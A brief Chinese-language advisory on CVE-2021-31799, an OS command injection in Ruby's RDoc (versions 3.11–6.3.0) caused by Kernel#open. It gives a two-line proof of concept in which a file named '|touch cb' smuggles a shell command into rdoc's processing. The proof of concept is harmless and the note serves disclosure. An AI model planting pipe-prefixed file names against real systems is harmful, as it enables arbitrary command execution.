# RDoc 命令注入（CVE-2021-31799）
RDoc调用Kernel#open打开本地文件，ruby项目中如果文件名以|开头和tags结尾，则会导致命令注入。
影响版本：
从3.11到6.3.0的所有RDoc版本
PoC：
```
touch "|touch cb"
rdoc "|touch cb"
```
ref：
* https://www.ruby-lang.org/en/news/2021/05/02/os-command-injection-in-rdoc/
* https://security.archlinux.org/CVE-2021-31799